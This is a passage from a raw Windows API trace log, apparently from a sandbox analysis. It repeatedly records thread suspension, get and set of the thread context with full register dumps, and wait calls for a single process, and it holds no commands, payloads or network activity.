Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0113.435] ResumeThread (hThread=0x100) returned 0x1 [0113.435] CloseHandle (hObject=0x100) returned 1 [0113.435] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0113.460] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0113.461] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0113.465] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0113.769] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x8c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0x100) returned 1 [0113.770] SuspendThread (hThread=0x100) returned 0x0 [0113.770] GetThreadContext (in: hThread=0x100, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0000cf8d8, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f8a8180, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0113.772] SetThreadContext (hThread=0x100, lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0000cf8d0, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f74d860, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0113.773] ResumeThread (hThread=0x100) returned 0x1 [0113.773] CloseHandle (hObject=0x100) returned 1 [0113.773] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0113.776] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0113.777] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0113.779] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0113.780] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0113.888] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x8c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0x100) returned 1 [0113.888] SuspendThread (hThread=0x100) returned 0x0 [0113.888] GetThreadContext (in: hThread=0x100, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0000cfaf8, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f8d09a0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0113.889] SetThreadContext (hThread=0x100, lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0000cfaf0, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f74d860, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0113.889] ResumeThread (hThread=0x100) returned 0x1 [0113.889] CloseHandle (hObject=0x100) returned 1 [0113.890] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0114.015] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0114.118] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0114.223] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x8c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0x100) returned 1 [0114.223] SuspendThread (hThread=0x100) returned 0x0 [0114.223] GetThreadContext (in: hThread=0x100, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0000cf968, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f8f8bc0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, 